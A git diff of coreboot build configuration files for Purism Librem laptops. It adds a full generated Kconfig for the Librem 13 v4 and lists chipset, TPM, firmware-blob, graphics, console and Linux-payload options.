+CONFIG_SOC_INTEL_COMMON_BLOCK_CAR=y +CONFIG_INTEL_CAR_NEM_ENHANCED=y +# CONFIG_USE_INTEL_FSP_MP_INIT is not set +CONFIG_CPU_SUPPORTS_PM_TIMER_EMULATION=y +CONFIG_HAVE_HYPERTHREADING=y +CONFIG_FSP_HYPERTHREADING=y +# CONFIG_INTEL_KEYLOCKER is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_MAX is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_256MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_128MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_64MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_32MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_16MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_8MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_4MB is not set +# CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_2MB is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_PRMRR_SIZE_0MB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CSE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PCR=y +CONFIG_SOC_INTEL_CSE_FMAP_NAME="SI_ME" +CONFIG_SOC_INTEL_CSE_RW_A_FMAP_NAME="ME_RW_A" +CONFIG_SOC_INTEL_CSE_RW_B_FMAP_NAME="ME_RW_B" +CONFIG_SOC_INTEL_CSE_RW_CBFS_NAME="me_rw" +CONFIG_SOC_INTEL_CSE_RW_HASH_CBFS_NAME="me_rw.hash" +CONFIG_SOC_INTEL_CSE_RW_VERSION_CBFS_NAME="me_rw.version" +CONFIG_SOC_INTEL_CSE_RW_FILE="" +CONFIG_SOC_INTEL_CSE_RW_VERSION="" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_NAME="cse_iom" +CONFIG_SOC_INTEL_CSE_IOM_CBFS_FILE="" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_NAME="cse_nphy" +CONFIG_SOC_INTEL_CSE_NPHY_CBFS_FILE="" +CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y +CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_ITSS_POL_CFG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_PADCFG_PADTOL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO_DUAL_ROUTE_SUPPORT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_GRAPHICS=y +CONFIG_SOC_INTEL_CONFIGURE_DDI_A_4_LANES=y +# CONFIG_SOC_INTEL_DISABLE_IGD is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_HDA_VERB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_I2C=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ITSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPC_MIRROR_TO_GPMR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_LPSS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_BASE_P2SB=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCIE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PCR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_PMC_DISCOVERABLE=y +CONFIG_PMC_GLOBAL_RESET_ENABLE_LOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_POWER_LIMIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_RTC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SATA=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SCS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_LOCK_MEMORY=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TCO_ENABLE_THROUGH_SMBUS=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y +# CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_TCO_ENABLE is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 +CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y +CONFIG_SA_ENABLE_DPR=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y +CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y +CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y +CONFIG_SOC_INTEL_COMMON_BLOCK_UART=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XDCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y + +# +# Intel SoC Common PCH Code +# +CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y +CONFIG_SOC_INTEL_COMMON_PCH_BASE=y +CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y +CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y +CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y +CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y + +# +# Intel SoC Common coreboot stages and non-IP blocks +# +CONFIG_SOC_INTEL_COMMON_BASECODE=y +CONFIG_SOC_INTEL_COMMON_RESET=y +CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y +CONFIG_PAVP=y +# CONFIG_MMA is not set +CONFIG_SOC_INTEL_COMMON_NHLT=y +# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set + +# +# CPU +# +CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_skl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_USE_ME_CLEANER is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_2017_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=2017 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +CONFIG_MAINBOARD_HAS_LIBGFXINIT=y +CONFIG_MAINBOARD_USE_LIBGFXINIT=y +# CONFIG_VGA_ROM_RUN is not set +# CONFIG_RUN_FSP_GOP is not set +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_FSP_USE_REPO=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +# CONFIG_BMP_LOGO is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y +CONFIG_HAVE_INTEL_FSP_REPO=y +CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +CONFIG_FSP_FULL_FD=y +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_HAVE_FSP_LOGO_SUPPORT=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA_IGNORE_PRESENCE_STRAPS=y +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Skylake" +CONFIG_GFX_GMA_PCH="Sunrise_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y +CONFIG_ACPI_NHLT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_SPD_READ_BY_WORD=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xe0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index bc0d499c8..d6d2da24a 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -1,21 +1,797 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 13" +CONFIG_MAINBOARD_PART_NUMBER="Librem 13 v4" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_skl" +CONFIG_VGA_BIOS_ID="8086,5916" +CONFIG_DIMM_MAX=1 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem13" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 